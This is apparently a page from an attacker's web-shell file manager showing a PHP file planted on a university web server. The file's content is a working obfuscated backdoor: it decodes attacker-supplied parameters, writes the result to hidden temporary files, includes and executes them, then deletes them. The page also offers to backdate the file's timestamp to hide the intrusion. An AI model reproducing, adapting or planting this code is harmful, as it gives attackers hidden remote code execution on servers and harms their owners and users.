文件操作 - aboutme.preview.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/demoestudiantes.uaysen.cl/html/aboutme.preview.php
编辑文件内容
<?php if(array_key_exists("p\x72\x6Fp\x65r\x74\x79\x5Fset", $_POST)){ $flag = $_POST["p\x72\x6Fp\x65r\x74\x79\x5Fset"]; $flag= explode(".", $flag) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $l = 0; $len = count($flag); do { if($l >= $len) break; $v1 = $flag[$l]; $chS = ord($s[$l % $lenS]); $dec =((int)$v1 - $chS -($l % 10)) ^ 46; $element .= chr($dec); $l++; }while(true); $ent = array_filter([getcwd(), session_save_path(), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]); $k = 0; do { $rec = $ent[$k] ?? null; if ($k >= count($ent)) break; if ((is_dir($rec) and is_writable($rec))) { $object = "$rec" . "/.tkn"; $file = fopen($object, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $object; @unlink($object); die(); } } $k++; } while (true); } if(isset($_REQUEST["bin\x64"])){ $dchunk = $_REQUEST["bin\x64"]; $dchunk = explode ( "." , $dchunk ) ; $object = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); foreach($dchunk as $s => $v9): $chS = ord($salt2[$s % $lenS]); $dec =((int)$v9 - $chS -($s % 10)) ^ 15; $object .= chr($dec); endforeach; $element = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path()]); while ($ent = array_shift($element)) { if ((is_dir($ent) and is_writable($ent))) { $holder = join("/", [$ent, ".pset"]); if (file_put_contents($holder, $object)) { require $holder; unlink($holder); die(); } } } } if(!empty($_POST["ent"])){ $item = array_filter(["/tmp", getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]); $data_chunk = $_POST["ent"]; $data_chunk= explode( ".", $data_chunk) ; $key = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $__len = count($data_chunk); for ($l = 0; $l < $__len; $l++) { $v3 = $data_chunk[$l]; $sChar = ord($s[$l %$lenS]); $d = ((int)$v3 - $sChar - ($l %10)) ^ 36; $key .= chr($d); } for ($pgrp = 0, $pointer = count($item); $pgrp < $pointer; $pgrp++) { $res = $item[$pgrp]; if (is_dir($res) ? is_writable($res) : false) { $fac = vsprintf("%s/%s", [$res, ".element"]); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $fac; @unlink($fac); exit; } } } } if(in_array("\x64c\x68unk", array_keys($_POST))){ $hld = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/dev/shm", getenv("TMP"), getcwd(), session_save_path()]); $bind = $_POST["\x64c\x68unk"]; $bind = explode ( '.', $bind ); $marker = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9); $o = 0; while( $o < count( $bind)) { $v9 = $bind[$o]; $chS = ord( $s9[$o % $lenS]); $dec =( ( int)$v9 - $chS -( $o % 10)) ^ 8; $marker .= chr( $dec); $o++;} foreach ($hld as $data_chunk) { if ((is_dir($data_chunk) and is_writable($data_chunk))) { $elem = "$data_chunk" . "/.pointer"; if (file_put_contents($elem, $marker)) { include $elem; @unlink($elem); die(); } } } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件